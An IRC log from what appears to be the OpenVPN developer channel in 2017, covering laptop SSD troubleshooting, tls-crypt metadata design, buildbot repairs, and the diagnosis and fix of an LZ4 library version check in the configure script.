won't be run more times within a session, then I'm fine 03:41 <@ordex> not sure about "we", but "I" feel reasonably sure :D 03:41 <@dazo> ;-) 03:41 <@dazo> that's good enough! 03:42 <@ordex> the entire context life cycle is quite painful though 03:42 <@dazo> hehe :) Have you tried to build doxygen with the graph stuff? you'll get some pretty nice call chain overview there ... some times :) 03:42 <@ordex> I went through it also when dealing with the multiport/multisocket thing 03:42 <@ordex> lol 03:42 <@ordex> would you trust that ? 03:42 <@dazo> not fully ;-) 03:42 <@ordex> hehe it can get quite entangled, but no I haven't tried 03:42 <@ordex> :) 04:04 <@cron2> grrr... last gentoo update killed my vmware-player... 04:05 <@ordex> :S 04:31 <@dazo> cron2: leave the darkside and join the libvirtd/kvm universe ... virt-v2v to the rescue! ;-) 04:32 <@dazo> virt-manager is a reasonably fine GUI front-end too 04:54 <@dazo> CRCinAU: just pushed out the openvpn-2.4.4 builds through Bodhi (hitting updates-testing within a few hours) ... would appreciate some testing on those, plus karma +1s :) 04:57 <@dazo> Dinner with the in-laws now ... back in some hours 05:42 <@ordex> not sure what's happening on my laptop .. but every now and then i see reset of all the devices in dmesg, and at some point in time (every 12h more or less) the ssd starts throwing i/o errors and the only thing i can do is reboot :( 05:42 <@ordex> feels like it's about to die 08:34 <@dazo> eeek 08:36 <@dazo> does smartctl indicate anything? 09:35 <@ordex> when the laptop enters that state i can't run any binary because it won't load anything :( 09:35 <@ordex> now even the shutdown command :P 09:36 <@ordex> dazo: can it say something about the status even when the problem is not there ? 09:47 <@dazo> ordex: it depends on where the failure is ... if it is on the drive, it might have some values registered related to drive failures 09:47 <@dazo> if it is the sata controller, or anything on the motherboard, it won't appear anything there 09:48 <@ordex> yeah 09:48 <@ordex> I have the feeling is something more then the drive, because dmesg registers weird things 09:48 <@ordex> like ethernet card reset 09:48 <@ordex> snd_hda module complains about the card being unreachable for a bit 09:48 <@ordex> mh 09:48 <@dazo> that sounds bad 09:48 <@ordex> it does 09:48 <@dazo> but ... updated kernel lately? 09:48 <@ordex> i wonder what caused such failure 09:49 <@dazo> could be a buggy pci bridge driver 09:49 <@ordex> yes, but I downgraded to the latest kernel I have been using for a lot 09:49 <@ordex> and the same happened there 09:49 <@dazo> okay ... that rules out the kernel 09:49 <@dazo> what kind of laptop is it? 09:49 <@ordex> lenovo t440s 09:50 <@dazo> wow ... more than 3 years? 09:50 <@dazo> (probably just a bit over, I'd guess) 09:50 <@ordex> yup 09:50 <@ordex> 3 and half i'd say 09:50 <@ordex> warranty expired at the beginning of this year :D 09:51 <@dazo> typical! 09:51 <@ordex> yap 09:51 <@ordex> it's the self-destruction timer 09:51 <@ordex> hehe 09:51 <@dazo> hmm ... doesn't those have some hardware diagnostics in the (uefi) firmware? 09:51 <@dazo> hehe 09:51 <@ordex> maybe I can check at the next reboot 09:51 <@dazo> aka ... "improve sales feature" :) 09:51 <@ordex> :P 09:53 <@dazo> I've had 5 ThinkPads over the years (probably 12-15 years) .... not once have I had issues like that ... well, once I had a factory failure on a physical FireWire port (connectivity issues), but that was a clear warranty case 09:54 <@ordex> yeah, I also had thinkpads since ever and this is the first one to fail like this 09:56 <@dazo> that said, I do remember more people at RH complaining much about T440 in general - several wondering if the quality had dropped ... but my T450s and my wife's T460s have been just great so far (roughly 2 and 1 year old now) 09:57 <@ordex> wait for the warranty to expire! 09:57 <@ordex> :D 09:58 <@dazo> lol :-D 09:59 <@dazo> I have pondered if I should cash out for extended warranty on mine :) or if I should get an T470 (or T480 if that have arrived) instead :) 09:59 <@ordex> I try to stick to the same laptop as long as i can 09:59 <@ordex> actually 09:59 <@ordex> the funny thing is that 10:00 <@ordex> the first failure showed up last week, exactly one day after I ordered a new one 10:00 <@ordex> :D 10:00 <@ordex> there must be a master plan behind :P 10:00 <@dazo> lol 10:01 <@dazo> ahh, it was the "you can be depressed now, your owner have ordered a replacement" signal update from Lenovo HQ to your laptop :-P 10:01 <@dazo> nice timing though :) 10:01 <@ordex> :D 10:01 <@ordex> yes very nice 10:01 <@ordex> I feel relieved for the expense though 10:01 <@ordex> "it was needed" 10:01 <@dazo> heh ... yeah, it costs 10:02 <@ordex> even though the need came after the expense :D 10:02 <@ordex> but yeah 10:03 <@ordex> it has to survive few more days.. 10:03 <@dazo> I had my private T61p for 6-7 years .... it broke when I stepped on in by a mistake ... but that was actually beginning to be a bit sluggish (and not the least, heavy!) 10:05 <@ordex> uhm smartctl -x has some "prefailure warning" on..I wonder if that's related 10:05 <@ordex> :D 10:05 <@ordex> poor laptop 10:06 <@ordex> however, I have the general feeling that electronics now last less than 10 years ago. anything I buy now, I can't even think it will last other 7 or 10 years. feels very unlikely 10:06 <@dazo> which ones? some of them are actually quite tricky and highly vendor specific .... Seagate have for example some insane numbers there - as it is a bitmask used by their own tools ... when decoded, it is "all fine" 10:06 <@ordex> 177 Wear_Leveling_Count PO--C- 092 092 005 - 95 10:06 <@ordex> 178 Used_Rsvd_Blk_Cnt_Chip PO--C- 100 100 010 - 0 10:06 <@ordex> 179 Used_Rsvd_Blk_Cnt_Tot PO--C- 100 100 010 - 0 10:06 <@ordex> 180 Unused_Rsvd_Blk_Cnt_Tot PO--C- 100 100 010 - 6240 10:06 <@ordex> 183 Runtime_Bad_Block PO--C- 100 100 010 - 0 10:06 <@ordex> 184 End-to-End_Error PO--CK 100 100 097 - 0 10:06 <@ordex> the P is the prefailure warning 10:07 <@ordex> http://bpaste.net/show/18020f297c6a 10:07 <@dazo> 177 doesn't look too good 10:08 <@ordex> the overall-health test says "PASSED" 10:08 <@ordex> mh 10:08 <@dazo> nah, I think the 177 goes downwards 10:08 <@ordex> when it gets to 0 it implodes? 10:08 <@dazo> so it needs to go below 5 10:08 <@dazo> yeah 10:08 <@ordex> :D ok 10:09 <@dazo> 233 needs proper decoding though :) 10:10 <@ordex> https://nopaste.unstable.cc/?110 these are some of the errors I got during the failure 10:10 <@ordex> here it looks like just the disk 10:10 <@ordex> but before getting there I have a couple of cycles of "reset", but who knows what is triggering it 10:12 <@dazo> I actually had a HP MicroServer G8, just been used for 6-7 months, having some issues with 2 of the raid drives .... it turned out it was either a special sata connector on the motherboard which wasn't properly seated by factory, or that that it was a bit too dusty, or a combo of those two ... which caused two drives to reset at fairly aggressive intervals 10:13 <@dazo> that box had 4 drives ... 2x Seagate and 2x WD ... and both Seagate drives had issues (and they were even seated WD - Segate - WD -Seagate) 10:14 <@dazo> (line 2 and 3 reminded me of that) 10:15 <@ordex> mh I see 10:15 <@ordex> yeah sometimes can be just something stupid 10:15 <@ordex> that triggers the oddest problem 10:15 <@dazo> yeah 10:15 <@dazo> hardware sucks ... we should get rid of it! :-P 10:16 <@ordex> :P 10:41 <@syzzer> ordex: ah, yeah, I need to look into your question wrt the tls-crypt metadata type 10:42 <@ordex> syzzer: thanks! it feels like you didn't code the other end of the pipe ;P 10:42 <@syzzer> I'm a bit reluctant to include more built-in features, feels like we keep expanding the scope 10:42 <@syzzer> but it might make sense 10:43 <@ordex> syzzer: yeah I agree. we should keep it minimal, but I thought we wanted to just implement this basic check built-in ? I might remember wrong 10:43 <@dazo> "Make it as simple as possible, but no simpler" 10:43 <@syzzer> (or, the current imlementation might not make sense ;-) ) 10:43 <@ordex> :D 10:44 <@syzzer> ordex: but check against what? default expiry time? that's gonna byte users... 10:44 <@ordex> well, if we have types that are not owned by the user, either they have to be accessible via plugin of some sort, or should be handled by built-in component, I guess? otherwise it does not make sense I think 10:44 <@ordex> syzzer: I think the idea was to check that the timestap is before now ? honestly I can't remember 10:45 <@ordex> we agreed on something I think, but dunno what :P 10:45 <@syzzer> yeah, they should be exposed somehow. I thought they would be available to the script 10:45 <@ordex> ah the entire blob? I thought only TYPE_USER would be given to the script 10:45 <@ordex> I should re-read the log of the meeting I think 10:45 <@syzzer> yeah, me too 10:49 <@dazo> are you talking about a time stamp in the metadata part of tls-crypt? 10:50 <@dazo> If so ... what I remember from last discussions was that we considered a "generated" time stamp, which would be extracted and presented to plug-ins/auth scripts ... and they could decide what to do with that value ... including defining a max age policy 10:51 <@syzzer> that's what I recall too 10:52 <@syzzer> so if I do not supply the value to the scripts (but only the user-set one), that's an omission on my part 10:53 <@dazo> what do you meain with "do not supply"? that it needs to be added by the admin generating the tls-crypt key? 10:54 <@ordex> syzzer: lemme check 10:54 <@ordex> so everything is given to the "script" 10:55 <@ordex> but in what form? because the user part is b64 and it's ok for a script 10:55 <@ordex> but the timestamp? should be converted to unix form? 10:55 <@dazo> +1 10:55 <@syzzer> ordex: gen_path seems to be less nice to fix than create_temp_file() :( the best I can come up with is adding a if (!gc) { return NULL; } 10:56 <@ordex> syzzer: I think that's enough for now? it will just fail if somebody tries to call it with NULL 10:56 <@ordex> and so far we have no such users, so it's ok I guess 10:56 <@ordex> even ASSERT might be a good idea at that point ? 10:57 <@ordex> because that would be a real developer error, not a simple bug 10:58 <@syzzer> nah, no ASSERT()s in paths that get executed upon user connect 10:58 <@syzzer> well, not for things that are not completely deadly 10:58 <@ordex> oky 10:59 <@ordex> yup 10:59 <@syzzer> otherwise it's another DoS vuln waiting to happen 10:59 <@ordex> hehe right 11:00 <@dazo> (just a thought about timestamp in unix_t type ... we should consider it to be small (32 bits). But to avoid the 2038 issue, we could skew it hundred year++ ... like 0 being 2017 ... trickier to implement, but probably better than 64bit unix_t) 11:00 <@ordex> dazo: syzzer already made it a int64_t 11:00 <@ordex> we should be good for a while 11:01 <@ordex> :p 11:01 <@dazo> okay, if it is already 64bit, then I'll shut up :) 11:01 <@ordex> :D 11:01 <@plaisthos> dazo: nah better roll our own intermediate soultion which still uses 32 bit (even on 64 bit time_t platforms) that not compatible with everyone else 11:03 <@ordex> syzzer: checking your code now: it passes to the script whatever was embedded in the payload 11:03 <@ordex> if it is binary data, then the user has to read the file as binary (which is what the timestamp is now) 11:04 <@ordex> buuuut the endianess is not handled 11:06 <@ordex> genkey should convert to network order before embedding it in the client key 11:06 <@ordex> (I am always not sure how to call the wrapped WKc+metadata) 11:07 <@ordex> syzzer: forget what I said, you do htonll() - my bad :( 11:13 <@syzzer> ordex sent a v2 of the create_temp_file fixup 11:13 <@syzzer> agree with all your comments 11:14 <@ordex> oky. will you also create another patch just for the behavioural change of pf_init()? 11:17 <@ordex> syzzer: I just received the same email with subject "Re: [PATCH v4 1/3] pf: restyle pf_c2c/addr_test() to make them 'struct context' agnostic" that you sent yesterday 11:17 <@ordex> something's still wrong at SF? 11:21 <@syzzer> ordex: yeah, that one was rejected by the ml 11:21 <@ordex> oh ok 11:21 <@syzzer> but since you're in the To:, you did get it 11:21 <@syzzer> (was too lazy to actually bounce) 11:21 <@syzzer> but yeah, I'll split 1/2 up later 11:22 <@syzzer> alarm set for 8 am tomorrow again, so going afk soon 11:24 <@ordex> yup 11:24 <@ordex> sounds good :) 11:31 <@syzzer> just did it anyway - now off to bed :) 11:32 <@syzzer> good night! 12:06 < CRCinAU> dazo: karma done... I use the same version from your scratch build though :p 12:06 < CRCinAU> not sure if there's anything different there 12:07 < CRCinAU> I also +1'ed it on F26 as well as F27 13:12 <@cron2> oh boy... this system needs a reinstall... gentoo, with "last sync done in 2014-ish" 13:15 <@cron2> (not sure if I actually ever need it to be a linux again... it has mutated into my windows gaming PC, while the "I do work here!" machines is a NUC i7-5 now... 13:16 <@dazo> CRCinAU: thx ... the only difference is probably that the ones from the updates{,-testing} repos are signed with Fedora keys 19:56 <@ordex> cron2: what do you play? :> 19:56 <@ordex> and good morning --- Day changed Sat Sep 30 2017 02:44 <@cron2> ordex: easy stuff, like "bang bang racing" (top-down split screen car racing, kids love it), age of empires II ("about twice a year"), RC heli flight simulator for training 02:44 * cron2 stayed away from Elite: Dangerous and Eve Online - these are the games I would love to play, but they are too addictive 05:35 <@cron2> mattock: it seems buildmaster crashed again 05:35 <@cron2> it's sort of stuck after the single build it did recently - some slaves have "build #1 successful", others have "build #0, 1 pending" 05:36 <@cron2> dazo: do you know which parts of the machinery to kick to revive it? 05:44 <@vpnHelper> RSS Update - gitrepo: Fix '--bind ipv6only' <https://github.com/OpenVPN/openvpn/commit/cdeba63ca3a9e5c765edecd11745e9e2cc1b945d> 05:58 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 08:33 <@dazo> I have to admit ... I think I can survive with Eclipse ... after enabling Emacs mode for keyboard shortcuts :) ... It's a weird feeling, but it truly seems to work 08:33 <@dazo> and I've basically replaced one editor OS for another one too :-P 12:29 <@vpnHelper> RSS Update - gitrepo: Check whether in pull_mode before warning about previous connection b… <https://github.com/OpenVPN/openvpn/commit/422ecdac4a2738cd269361e048468d8b58793c4e> 16:06 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 16:06 -!- mode/#openvpn-devel [+o cron2] by ChanServ 18:49 < slypknot> cron2: ordex .. ever seen https://www.youtube.com/watch?v=lKxHFu2Y4PI 21:56 <@ordex> slypknot: nope 21:56 <@ordex> not my thing :P --- Day changed Sun Oct 01 2017 09:43 <@ordex> hey mattock, how did it go with patchwork? anything we can help with? 12:24 <@cron2> first, buildmaster needs repair... 19:08 <@ordex> dazo: re: openvpn3 tls-crypt supprt: code has been merged, why not saying so? 23:13 <@ordex> dazo: apparently the reset I was seeing in dmesg were somehow related to me plugging/unplugging the power chord from the laptop. I guess it was some ACPI thing. so it was unrelated to the general failure I Was observing --- Day changed Mon Oct 02 2017 00:26 < CRCinAU> dazo: fwiw, 2.4.4 works perfectly for the auth tokens etc :) 00:45 <@ordex> cool! 00:51 < CRCinAU> so... how do I find a 'bit' value for random entropy? :P 00:51 < CRCinAU> right now, I'm doing: 00:51 < CRCinAU> open ( my $random, "<", "/dev/random"); 00:51 < CRCinAU> read $random, my $random_data, 128; 00:51 < CRCinAU> close $random; 00:52 < CRCinAU> that'll pull out 128 characters 00:52 < CRCinAU> is that 1024bit? 00:53 <@ordex> if 128*8 = 1024 then yes 00:53 < CRCinAU> I have no idea :p 00:53 <@ordex> apprently the answer is yes 00:53 <@ordex> :) 00:58 < CRCinAU> ok - so my token is 1024 bit lol 00:59 < CRCinAU> then just base64 encoded so I can push it without sending binary data in the push ;) 02:32 <@cron2> mornin 02:33 <@ordex> moin moin 02:33 <@cron2> ordex: heh :) 02:33 <@ordex> :) 03:14 <@ordex> interesting .. found local DoS for linux <4.14-rc3 03:14 <@ordex> that covers almost all kernels out there I'd say :-P 03:49 <@cron2> mattock: *ping* 05:10 <@ordex> syzzer: why not using an enum for the metadat type value ? 05:27 <@vpnHelper> RSS Update - tickets: #939: Compile error: /usr/src/openvpn/src/openvpn/comp-lz4.c:90: undefined reference to `LZ4_compress_default' <https://community.openvpn.net/openvpn/ticket/939> 06:41 <@mattock> cron2: howdy 06:42 <@mattock> I see that latest builds in buildbot are from September 12th 06:42 <@mattock> looks like a bug in buildbot or something... 06:44 <@cron2> mattock: sep 12 is when you manually kicked it last time... it seems to prepare for winter - growing fat and lazy :-) 06:44 <@cron2> (I did not try manual builds this time, but this didn't work last time either) 06:45 <@cron2> windows builds worked nicely 06:45 <@mattock> actually no 06:45 <@cron2> no to which part? ;) 06:45 <@mattock> there was a permission problem which was invisible outside twisted logs 06:45 <@cron2> oh 06:45 <@mattock> related to gitpoller's working directory 06:46 <@mattock> the user "buildbot" on master could not open file "config" in gitpoller workdir 06:46 <@mattock> I assume that prevented Git polling from actually working 06:46 <@mattock> last builds were forced, so Git poller did not kick in 06:46 <@cron2> ic 06:46 <@mattock> are there any patches pending for merging atm? 06:48 <@cron2> nothing small and simple that I could "just quickly push" - those I did on the weekend :) 06:56 <@mattock> well, I can monitor twistd.log - a Gitpoller failure should occur every ten minutes or so 06:56 <@mattock> if it is still present 06:57 <@mattock> assuming that was the issue the problem should be gone now 06:57 <@mattock> ah, something is already happening 06:58 <@mattock> "waiting next in~ 1 mins at 11:53" 06:58 <@mattock> I think it is waiting a while and doing another poll 06:58 <@mattock> then starts the builds 06:58 <@mattock> there's a few minute delay before a build is initiated, so that two commits in quick succession do not generate several builds 06:59 <@mattock> "1 [build] pending" now 06:59 <@mattock> looks good 07:00 <@mattock> some buildslaves are building now 07:07 <@cron2> indeed, I see failures 07:07 <@cron2> oh, now that is interesting 07:07 <@cron2> +undefined reference to `LZ4_compress_default' 07:07 <@cron2> on debian85 07:07 <@dazo> that's interesting 07:08 <@cron2> the theory I had so far was "this can not happen unless multiple liblz4.* are installed, old and new versions at the same time" 07:08 <@cron2> but the fact that this is now the third system where it happens, and not a "ARM funny" but a stock amd64 system does not align with the thory 07:08 <@cron2> theory 07:09 <@dazo> yeah :/ 07:09 <@dazo> how do install a Deb 8.5 system :) 07:09 <@cron2> (even if buildmaster had been working, we might not have seen it, as *this* buildslave was offline for three weeks... but anyway, smells like a 2.4.5 soonish :-) ) 07:10 <@dazo> I can run some tests on a deb9.1 system I have up'n'running already 07:13 <@cron2> ok, I have an ubuntu 14.04 here, which installs a "liblz4.so.1.0.0", and lz4.h claims this is "1.1.3". Let's see what configure says 07:15 <@cron2> ... the formatting is slighly off, but the result is fine 07:15 <@cron2> checking for lz4.h... yes 07:15 <@cron2> checking additionally if system LZ4 version >= 1.7.1... system LZ4 library is too old 07:15 <@cron2> checking for LZ4_compress in -llz4... yes 07:15 <@cron2> usuable LZ4 library or header not found, using version in src/compat/compat-lz4.* 07:15 <@cron2> (and usuable should be "usable" :) - but this is all minor) 07:16 < slypknot> cron2: deb85 machine has only /usr/lib/x86_64-linux-gnu/liblz4.so.1.3.0 07:17 <@cron2> slypknot: can you run configure and show the bits with lz4? 07:17 <@cron2> it *should* detect "too old"... 07:17 * slypknot looking 07:32 < slypknot> do i need to do this with a specific ./configure flag .. because i am not seeing any problems 07:34 < slypknot> ./configure (on deb85 for upto-date master) lz4 stuff: 07:34 < slypknot> configure: checking for LZ4 Library and Header files... 07:34 < slypknot> checking for LZ4_compress in -llz4... yes 07:34 < slypknot> checking lz4.h usability... yes 07:34 < slypknot> checking lz4.h presence... yes 07:34 < slypknot> checking for lz4.h... yes 07:38 < slypknot> ah now it fails make (./configure --disable-crypto --disable-lzo) with : 07:38 < slypknot> comp-lz4.o: In function `do_lz4_compress': 07:38 < slypknot> /home/dik/openvpn/master/src/openvpn/comp-lz4.c:90: undefined reference to `LZ4_compress_default' 07:38 < slypknot> collect2: error: ld returned 1 exit status 07:46 < slypknot> ok .. ./configure works fine (it does not detect that liblz4 is too old) but make fails with that error above 07:46 < slypknot> branch master .. pulled just now 07:46 < slypknot> apt-get update etc all upto date 07:48 < slypknot> branch 2.3 appears to be ok 07:50 < slypknot> branch 2.4 appears to be ok 07:50 < slypknot> branch 2.4 is *not* ok .. same error 07:51 < slypknot> FYI: that is simply running git pull; ./configure; make 07:52 <@dazo> release/2.4 is now essentially what we have shipped in 2.4.4 (just one or two additional patches) 07:52 <@dazo> so if release/2.4 fails ... we need to understand why 07:52 <@dazo> can you pastebin config.log? 07:53 <@dazo> as well as the complete ./configure output? 07:53 <@dazo> that error you see is a result of ./configure doing the wrong thing ... at least, that's the current working hypothesis 07:57 < slypknot> sure 07:57 < slypknot> for 2.4 or master ? 07:58 <@dazo> doesn't matter 07:58 <@dazo> take what's quickest for you :) 08:00 < slypknot> it is make which fails not configure 08:05 < slypknot> erg .. config log is 1/2 a mb 08:07 < slypknot> https://paste.fedoraproject.org/paste/dPRL9nLwxS2vUIAn~cgwnA 08:07 < slypknot> there 08:21 < slypknot> IIUC: if no lz4 lib is installed then building openvpn falls back to what ships with openvpn source .. I uninstal liblz4-dev and make works fine 08:22 < slypknot> so that bit works 08:22 <@dazo> right, I see that ... but configure "misconfigures" the makefiles and config.h so when gcc gets kicked off via Make, it fails 08:23 < slypknot> sure .. just giving what ever info i can 08:23 < slypknot> i guess the logic in configure is off a bit .. I looked but it hurted my brain 08:24 <@dazo> hmmmm .... 08:25 <@dazo> what does this give you, slypknot? pkg-config --modversion liblz4 08:27 < slypknot> 122 08:27 <@dazo> !?! 08:27 <@dazo> 122? 08:27 < slypknot> yep 08:27 <@dazo> oh f...... 08:28 < slypknot> sounds like you got the scent 08:28 <@dazo> cron2: ^^^^ could it be the versioning scheme change in lz4? Didn't they have a weird numbering earlier on and then changed to 1.x.y? 08:29 <@dazo> 122 is higher than 1.7.1 08:29 <@dazo> slypknot: can you locate liblz4.pc and pastebin that? 08:30 < slypknot> sure 08:31 <@cron2> argh 08:32 <@cron2> dazo: but I think we can catch that case by checking for LZ4_compress_default in configure.ac, in this block: 08:32 <@cron2> # if LZ4_LIBS is set, we assume it will work, otherwise test 08:32 <@cron2> ... 08:32 <@cron2> AC_CHECK_LIB([lz4], 08:32 <@cron2> [LZ4_compress], 08:32 <@dazo> or require version to also be less than 100 08:32 <@cron2> so if the library is weird, we'll notice, and fall back right below 08:32 <@dazo> slypknot: can you test this patch? https://paste.fedoraproject.org/paste/IFXEyKQq9ted~2Jr4tV~ew/raw 08:32 < slypknot> https://paste.fedoraproject.org/paste/n5teEVOUmlSZ9HKrx6gHMg 08:33 <@cron2> dazo: can you do that in pkg-config? 08:33 <@dazo> see the patch ^^^ ;-) 08:33 <@dazo> but it makes sense to check for that function too 08:33 <@dazo> indeed ... that's the really old lz4 08:33 < slypknot> dazo: give me a couple of mins .. 08:33 <@dazo> sure :) 08:34 <@dazo> thx for testing! 08:34 < slypknot> that other paste is liblz4.pc 08:36 <@dazo> yeah, I figured ... that confirmed my suspicion ... the code.google.com url is no longer valid 08:39 < slypknot> make works now 08:39 < slypknot> output is: 08:39 < slypknot> checking for lz4.h... yes 08:39 < slypknot> checking additionally if system LZ4 version >= 1.7.1... system LZ4 library is too old 08:39 < slypknot> checking for LZ4_compress in -llz4... yes 08:39 < slypknot> usuable LZ4 library or header not found, using version in src/compat/compat-lz4.* 08:39 <@dazo> slypknot: great! That's what I wanted to see :) 08:39 <@dazo> slypknot: okay, I'm shaping up another check now 08:39 < slypknot> :) 08:39 * cron2 accepts #939 to keep track of it (same problem) 08:40 <@dazo> cron2: you can assign it to me, I have a patch soonish ready 08:41 <@dazo> slypknot: can you please check this one too? https://paste.fedoraproject.org/paste/Mv3KxJrelEztopdxKavuFQ/raw 08:41 <@cron2> you want it, you get it :) 08:42 <@dazo> :) 08:42 <@dazo> cron2: please have a quick look at my latest pastebin ... see if there's something you don't like 08:42 <@dazo> I'll fix the typ0 too 08:43 < slypknot> shall i wait ? 08:43 <@dazo> nah, just go ahead 08:44 <@cron2> dazo: why add a new test? 08:44 <@dazo> just in case our version tests fails 08:44 <@cron2> we have a test for that :) 08:44 <@cron2> AC_CHECK_LIB([lz4], 08:44 <@cron2> [LZ4_compress], 08:44 <@cron2> [LZ4_LIBS="-llz4"], 08:44 <@cron2> [have_lz4="no"]) 08:44 <@dazo> duch 08:44 <@dazo> duh 08:45 <@cron2> it's just checking the wrong function... 08:45 <@cron2> well, "old" 08:45 <@dazo> yeah 08:45 <@cron2> (and it's only used if LZ4_LIBS hasn't been set by the user, but if he sets that wrongly and make bombs, not our fault) 08:46 <@dazo> right 08:46 < slypknot> you need me to test still ? 08:46 <@dazo> slypknot: if you can wait a few minutes now ... cron2 got a good point :) 08:46 < slypknot> no prob 08:47 <@dazo> cron2: but what if we test for those functions regardless .... instead of test -z "${LZ4_LIBS}" ... let's check if "${have_lz4}" = "yes" ... what do you think? 08:47 <@dazo> then ./configure will complain regardless 08:47 < slypknot> dazo: can i delete those pastes now ? 08:48 <@dazo> yeah, you can 08:48 < slypknot> thnks 08:50 <@cron2> dazo: not sure if that would not make the result a bit confusing - "I want *this* lib!" and configure just decides "bah, go away, I use my compat/ anyway" 08:50 <@dazo> ahh, true 08:50 <@cron2> so for "user specified LZ4_LIBS=... and we test it, and it fails" I would make it abort, not fallback 08:50 <@dazo> the thing is .... on my system LZ4_LIBS gets set in the pkg-config test ... so it never hits this when using system lz4 08:51 <@cron2> oh 08:53 <@cron2> *scratch head*... then maybe just take your new test, and get rid of the old test (which depends on LZ4_LIBS). The message is clear enough "your library stinks, I'm not using it" 08:53 <@cron2> two tests is silly, and your test covers more functions - not that I *expect* LZ4_decompress_safe to disappear over night, but who knows 08:54 <@dazo> okay, good ... I'll rework that and send a patch to the ML 08:55 < slypknot> you need me any more (things to do...) 08:55 <@dazo> one more test would be good ... just need a few more minutes to adopt the latest changes 08:55 < slypknot> ok 08:58 < slypknot> dazo: i gtg .. but i will be happy to test later (around 6pm BST time now 14:50) 08:59 < slypknot> give you time to get it right 09:03 <@dazo> slypknot: thx! 09:03 <@dazo> I realized I need to check a few differences in autoconf ... AC_CHECK_LIB vs AC_CHECK_FUNC{,S} 09:12 <@dazo> slypknot: https://paste.fedoraproject.org/paste/2LEaPZdigvSUX0JzkshCOw/raw 09:32 <@dazo> slypknot: just to confuse you more :-P .... the final commit, ready to be sent to the ML ... https://paste.fedoraproject.org/paste/9hKt03jsfvcsCTiS1ji2Hw/raw 10:22 <@cron2> dazo: looks good to me 10:23 <@dazo> thx! 10:23 <@dazo> if slypknot doesn't complain it breaks things ... then I'll submit it 10:24 <@dazo> (as he have one of system which really triggered this odd behaviour) 10:32 <@ordex> is the post on the forum related to this corner case? 10:33 <@ordex> https://community.openvpn.net/openvpn/ticket/939 10:33 <@vpnHelper> Title: #939 (Compile error: /usr/src/openvpn/src/openvpn/comp-lz4.c:90: undefined reference to `LZ4_compress_default') – OpenVPN Community (at community.openvpn.net) 10:35 <@dazo> ordex: which forum post? 10:36 <@ordex> dazo: just posted ^^ 10:37 <@cron2> that's not forum :) 10:37 <@ordex> oh right 10:38 <@ordex> sorry, my bad :) 10:38 <@cron2> but yes, that ticket is the very same issue :-) 10:41 <@dazo> ordex: if you refresh that ticket, you'll get my patch there :-P 10:41 <@ordex> :) 10:41 <@ordex> goood 11:20 < slypknot> dazo: applied your final patch to master and build with no discernable errors: 11:20 < slypknot> OpenVPN 2.5_git [git:master/422ecdac4a2738cd+] x86_64-unknown-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Oct 2 2017 11:20 < slypknot> library versions: OpenSSL 1.0.1t 3 May 2016, LZO 2.08 11:21 < slypknot> 3.16.0-4-amd64 #1 SMP Debian 3.16.43-2+deb8u5 (2017-09-19) x86_64 GNU/Linux 11:22 <@dazo> slypknot: great! can you do a 'ldd ./src/openvpn/openvpn' ? 11:22 <@dazo> oh grep for lz4 11:22 < slypknot> ok 11:22 <@dazo> (I expect you won't find anything) 11:23 < slypknot> nothing 11:23 <@dazo> good 11:23 <@dazo> then I'll send the patch to the ML 11:23 <@dazo> thx a lot for your testing! 11:23 < slypknot> your welcome :) 11:27 < slypknot> i mean "you are" ..hate that silly typ0 11:37 <@dazo> slypknot: It pleases me to see even native speakers does that typo! :-P 11:40 < slypknot> thier<-oops & their & there 11:40 < slypknot> and how many meanings does the phonetic word "bare" have ? in english 11:40 < slypknot> and then there is pidgeon english 11:41 < slypknot> and american !! 11:41 < slypknot> and what anout "to too two toe" 11:42 < slypknot> </close> 11:42 < slypknot> spike milligan had a fantastic turn of phrase 12:12 <@dazo> hmmmm .... debugging gets a bit harder when gdb segfaults .... :-/ 12:23 < slypknot> FYI: https://github.com/jakobant/wasy-openvpn/tree/master/datadog .. gui logger 12:23 <@vpnHelper> Title: wasy-openvpn/datadog at master · jakobant/wasy-openvpn · GitHub (at github.com) 12:26 <@dazo> nice 13:21 <@cron2> usable LZ4 library or header not found, using version in src/compat/compat-lz4.* 13:21 <@cron2> ubuntu 14.04 *check* 13:22 <@cron2> checking for LZ4_compress_default in -llz4... yes 13:22 <@cron2> checking for LZ4_decompress_safe in -llz4... yes 13:22 <@cron2> FreeBSD 11 *check* 13:28 <@cron2> oh, the exploded 1204 ubuntu buildslave isn't mine \o/ 13:28 <@vpnHelper> RSS Update - gitrepo: lz4: Fix confused version check <https://github.com/OpenVPN/openvpn/commit/f91e4863bc138213a07a2cf53ad71d8a4532abef> 13:29 <@cron2> mattock: buildmaster is picking up git changes again, thanks 13:49 <@cron2> *now* things are getting interesting... 13:50 <@cron2> ... build blows up on MacOS X... 13:50 <@cron2> dazo: "whee!" 13:52 <@dazo> !??! 13:52 <@cron2> this seems to be a corner case I did not test - "no pkg-config, but -llz4 works" 13:53 <@dazo> but ... wtf!? .... *sigh* okay 13:53 <@cron2> config.log looks nice and shiny, and final link line has no "-lz4" 13:53 <@cron2> I have forwarded the buildbot output to you 13:53 <@dazo> hmmm thx! 13:53 <@cron2> debian85 is good now :-) 13:54 <@dazo> this is a house of cards 13:54 <@cron2> (and I'm so happy we have the buildslaves back in operation now :) ) 13:55 <@cron2> mmmh 13:56 <@dazo> do you have access to a macos builder? 13:56 * dazo would like to test a theory 13:57 <@cron2> not really - I have simone's mac, but the build system on it is wrecked up (= it does not build openvpn right now, due to system openssl brokenness) 13:57 <@cron2> but maybe I can reproduce it here... wait 13:57 * cron2 installs lz4 on gentoo and then kills the .pc file 13:57 <@dazo> https://paste.fedoraproject.org/paste/fHv-iY~7ol~nhEs~XxG0ug/raw 13:58 <@dazo> that's the theory :) 13:58 <@dazo> we "restore" the LZ4_LIBS from what we did before, but only if pkg-config fails 14:00 <@cron2> this might fix the issue, but I'm not sure why this ever worked before, then, or how it got broken by the last patch 14:00 <@cron2> or how it passed configure with no errors if LZ4_LIBS wasn't containing -llz4 beforehand 14:01 <@cron2> it found LZ4_compress_default just fine, so it should have used -llz4 then 14:01 <@dazo> if the LZ4_compress() function test worked, we did set LZ4_LIBS="-llz4" ... and since pkg-config didn't find anything, we went into the 'test -z "${LZ4_LIBS}"' test 14:02 <@cron2> oh, there 14:02 <@cron2> - [LZ4_LIBS="-llz4"], 14:02 <@cron2> I see 14:02 <@dazo> yeah .... and that one is a trap 14:02 <@dazo> as it will overwrite LZ4_LIBS set on the command line 14:03 <@cron2> yeah, baem. 